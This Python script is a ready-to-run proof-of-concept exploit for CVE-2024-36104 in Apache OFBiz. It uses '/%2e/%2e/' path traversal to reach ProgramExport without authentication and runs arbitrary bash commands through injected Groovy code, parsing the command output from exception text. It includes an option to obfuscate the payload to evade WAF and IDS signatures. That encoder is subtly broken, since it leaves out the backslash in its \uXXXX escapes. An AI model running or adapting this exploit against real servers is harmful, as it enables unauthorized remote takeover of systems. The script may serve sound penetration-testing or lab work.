#!/usr/bin/env python3
from __future__ import annotations

import argparse
import html
import re
import sys
from datetime import datetime, timezone
from urllib.parse import urlparse

import requests
import urllib3


urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

RESET = "\033[0m"
BOLD = "\033[1m"
DIM = "\033[2m"
GREEN = "\033[32m"
CYAN = "\033[36m"
YELLOW = "\033[33m"
RED = "\033[31m"

DEFAULT_PREFIX_VIEW = "forgotPassword"
DEFAULT_TARGET_VIEW = "ProgramExport"
DEFAULT_COMMAND = "id"
USER_AGENT = (
    "Mozilla/5.0 (X11; Linux x86_64; rv:128.0) "
    "Gecko/20100101 Firefox/128.0"
)


class Console:
    def __init__(
        self,
        only_final: bool = False,
        no_color: bool = False,
        debug_enabled: bool = False,
    ) -> None:
        self.only_final = only_final
        self.no_color = no_color or not sys.stdout.isatty()
        self.debug_enabled = debug_enabled

    def color(self, text: str, code: str) -> str:
        if self.no_color:
            return text
        return f"{code}{text}{RESET}"

    def log(self, marker: str, message: str, color: str = RESET) -> None:
        if self.only_final:
            return
        ts = datetime.now(timezone.utc).isoformat(timespec="seconds").replace("+00:00", "Z")
        prefix = self.color(f"[{ts}]", DIM)
        print(f"{prefix} {self.color(marker, color)} {message}", flush=True)

    def info(self, message: str) -> None:
        self.log("[*]", message, CYAN)

    def ok(self, message: str) -> None:
        self.log("[+]", message, GREEN)

    def warn(self, message: str) -> None:
        self.log("[!]", message, YELLOW)

    def error(self, message: str) -> None:
        self.log("[-]", message, RED)

    def debug(self, message: str) -> None:
        if self.debug_enabled:
            self.log("[d]", message, DIM)

    def result(self, command: str, output: str) -> None:
        title = f"Output of: {command}"
        if self.only_final:
            print(output)
            return
        print("")
        print(self.color(f"[+] {title}", BOLD + GREEN))
        print(output)


console = Console()


def validate_target(target: str) -> str:
    """Normalizes and validates the target base URL."""
    target = target.strip().rstrip("/")
    parsed = urlparse(target)

    if parsed.scheme not in ("http", "https"):
        raise ValueError("Target must start with http:// or https://")

    if not parsed.netloc:
        raise ValueError("Target URL is not valid.")

    return target


def groovy_quote(value: str) -> str:
    """
    Escapes a Python string into a single-quoted Groovy string literal,
    so quotes, backslashes and newlines in the command can't break out
    of the generated Groovy source.
    """
    escaped = (
        value
        .replace("\\", "\\\\")
        .replace("'", "\\'")
        .replace("\r", "\\r")
        .replace("\n", "\\n")
        .replace("\t", "\\t")
    )

    return f"'{escaped}'"


def unicode_escape(value: str) -> str:
    """
    Encodes every character as a \\uXXXX escape. Public write-ups of this
    exploit send groovyProgram this way to slip past naive WAF/IDS
    signatures that pattern-match on plaintext Groovy keywords. Not
    required against a plain OFBiz instance, only kept as an option.
    """
    return "".join(f"u{ord(c):04x}" for c in value)


def build_payload(command: str, obfuscate: bool) -> dict[str, str]:
    """
    Always runs the command as:

        /usr/bin/bash -lc COMMAND

    which lets Bash interpret &&, ||, |, >, >>, 2>&1, variables, command
    substitution and globbing in COMMAND.
    """
    command_literal = groovy_quote(command)

    groovy_program = (
        "def p = ["
        "'/usr/bin/bash', "
        "'-lc', "
        f"{command_literal}"
        "].execute(); "
        "throw new Exception(p.text);"
    )

    if obfuscate:
        groovy_program = unicode_escape(groovy_program)

    return {"groovyProgram": groovy_program}


def extract_exception(response_text: str) -> str | None:
    """Extracts the java.lang.Exception payload from OFBiz's HTML response."""
    decoded = html.unescape(response_text)

    patterns = [
        (
            r"java\.lang\.Exception:\s*"
            r"(.*?)(?:</pre>|</div>|</p>|<br\s*/?>|$)"
        ),
        (
            r"Exception:\s*"
            r"(.*?)(?:</pre>|</div>|</p>|<br\s*/?>|$)"
        ),
    ]

    for pattern in patterns:
        match = re.search(
            pattern,
            decoded,
            flags=re.IGNORECASE | re.DOTALL,
        )

        if not match:
            continue

        result = match.group(1)
        result = re.sub(r"<br\s*/?>", "\n", result, flags=re.IGNORECASE)
        result = re.sub(r"<[^>]+>", "", result)
        result = html.unescape(result).strip()

        if result:
            return result

    return None


def build_endpoint(prefix_view: str, target_view: str) -> str:
    """
    Builds the vulnerable control path.

    OFBiz's ControlServlet resolves `prefix_view` first (an unauthenticated
    view such as forgotPassword), then fails to canonicalize the path
    before the security/permission check runs. The `/%2e/%2e/` segments
    decode to `/./..` and collapse back onto `/webtools/control/`, so the
    request lands on `target_view` (ProgramExport) without ever going
    through the auth check tied to the original view name. ProgramExport
    then executes arbitrary Groovy unauthenticated.
    """
    prefix_view = prefix_view.strip("/")
    target_view = target_view.strip("/")

    return f"/webtools/control/{prefix_view}/%2e/%2e/{target_view}"


def exploit(
    target: str,
    host_header: str,
    command: str,
    prefix_view: str,
    target_view: str,
    endpoint_override: str | None,
    timeout: int,
    obfuscate: bool,
    show_payload: bool,
    show_response: bool,
) -> int:
    """Sends the Groovy payload to the vulnerable OFBiz endpoint."""
    target = validate_target(target)

    endpoint_path = endpoint_override or build_endpoint(prefix_view, target_view)
    endpoint_path = "/" + endpoint_path.lstrip("/")
    endpoint = target + endpoint_path

    payload = build_payload(command, obfuscate)

    headers = {
        "Host": host_header,
        "User-Agent": USER_AGENT,
        "Accept": "*/*",
        "Connection": "close",
    }

    console.info(f"Target: {endpoint}")
    console.info(f"Host header sent: {host_header}")
    console.info(f"Command: {command}")

    if show_payload:
        console.log("[*]", "Groovy payload:", CYAN)
        print(payload["groovyProgram"])

    try:
        response = requests.post(
            endpoint,
            headers=headers,
            data=payload,
            verify=False,
            timeout=timeout,
            allow_redirects=False,
        )
    except requests.Timeout:
        console.error("Connection timed out.")
        console.warn("The command may still be running server-side if it did not finish on its own.")
        return 1
    except requests.ConnectionError as error:
        console.error(f"Connection error: {error}")
        return 1

    console.info(f"HTTP status: {response.status_code}")
    console.info(f"Response size: {len(response.content)} bytes")

    if response.is_redirect:
        location = response.headers.get("Location", "(no Location header)")
        console.warn(f"Redirected to: {location}")

    extracted = extract_exception(response.text)

    if extracted:
        console.result(command, extracted)
        return 0

    console.error("Could not automatically extract command output.")

    if response.status_code == 502:
        console.error("Backend did not finish the request before the proxy timeout.")

    if show_response or response.status_code >= 500:
        console.log("[-]", "Full response:", RED)
        print(response.text)

    return 1


def build_parser() -> argparse.ArgumentParser:
    parser = argparse.ArgumentParser(
        description=(
            "CVE-2024-36104 Apache OFBiz unauthenticated Groovy RCE PoC "
            "(pre-18.12.14, via /%2e/%2e/ view path traversal reaching "
            "ProgramExport)."
        )
    )

    parser.add_argument(
        "-t",
        "--target",
        required=True,
        help="Target base URL. Example: https://10.129.231.23",
    )

    parser.add_argument(
        "-H",
        "--host-header",
        default="localhost",
        help="Value of the Host header. Default: localhost",
    )

    parser.add_argument(
        "-c",
        "--command",
        default=DEFAULT_COMMAND,
        help=f"Command that Bash will interpret. Default: {DEFAULT_COMMAND}",
    )

    parser.add_argument(
        "--prefix-view",
        default=DEFAULT_PREFIX_VIEW,
        help=(
            "Unauthenticated view used before the /%%2e/%%2e/ traversal. "
            f"Default: {DEFAULT_PREFIX_VIEW}"
        ),
    )

    parser.add_argument(
        "--target-view",
        default=DEFAULT_TARGET_VIEW,
        help=f"View reached after the traversal. Default: {DEFAULT_TARGET_VIEW}",
    )

    parser.add_argument(
        "--endpoint",
        default=None,
        help=(
            "Full custom endpoint path, overrides --prefix-view/--target-view. "
            "Example: /webtools/control/forgotPassword/%%2e/%%2e/ProgramExport"
        ),
    )

    parser.add_argument(
        "--timeout",
        type=int,
        default=15,
        help="Maximum HTTP request time in seconds. Default: 15",
    )

    parser.add_argument(
        "--obfuscate",
        action="store_true",
        help="Send groovyProgram as \\uXXXX escapes instead of plaintext.",
    )

    parser.add_argument(
        "--show-payload",
        action="store_true",
        help="Print the generated Groovy code before sending it.",
    )

    parser.add_argument(
        "--show-response",
        action="store_true",
        help="Print the full HTML response.",
    )

    parser.add_argument(
        "--only-final",
        action="store_true",
        help="Hide progress logs and print only the command output.",
    )

    parser.add_argument(
        "--no-color",
        action="store_true",
        help="Disable ANSI colors.",
    )

    parser.add_argument(
        "--debug",
        action="store_true",
        help="Enable extra diagnostic logging.",
    )

    return parser


def main() -> None:
    parser = build_parser()
    args = parser.parse_args()

    if args.timeout < 1:
        parser.error("--timeout must be greater than zero.")

    global console
    console = Console(
        only_final=args.only_final,
        no_color=args.no_color,
        debug_enabled=args.debug,
    )

    try:
        status = exploit(
            target=args.target,
            host_header=args.host_header,
            command=args.command,
            prefix_view=args.prefix_view,
            target_view=args.target_view,
            endpoint_override=args.endpoint,
            timeout=args.timeout,
            obfuscate=args.obfuscate,
            show_payload=args.show_payload,
            show_response=args.show_response,
        )

        sys.exit(status)

    except ValueError as error:
        console.error(str(error))
        sys.exit(1)

    except requests.RequestException as error:
        console.error(f"HTTP error: {error}")
        sys.exit(1)

    except KeyboardInterrupt:
        console.warn("Interrupted.")
        sys.exit(130)


if __name__ == "__main__":
    main()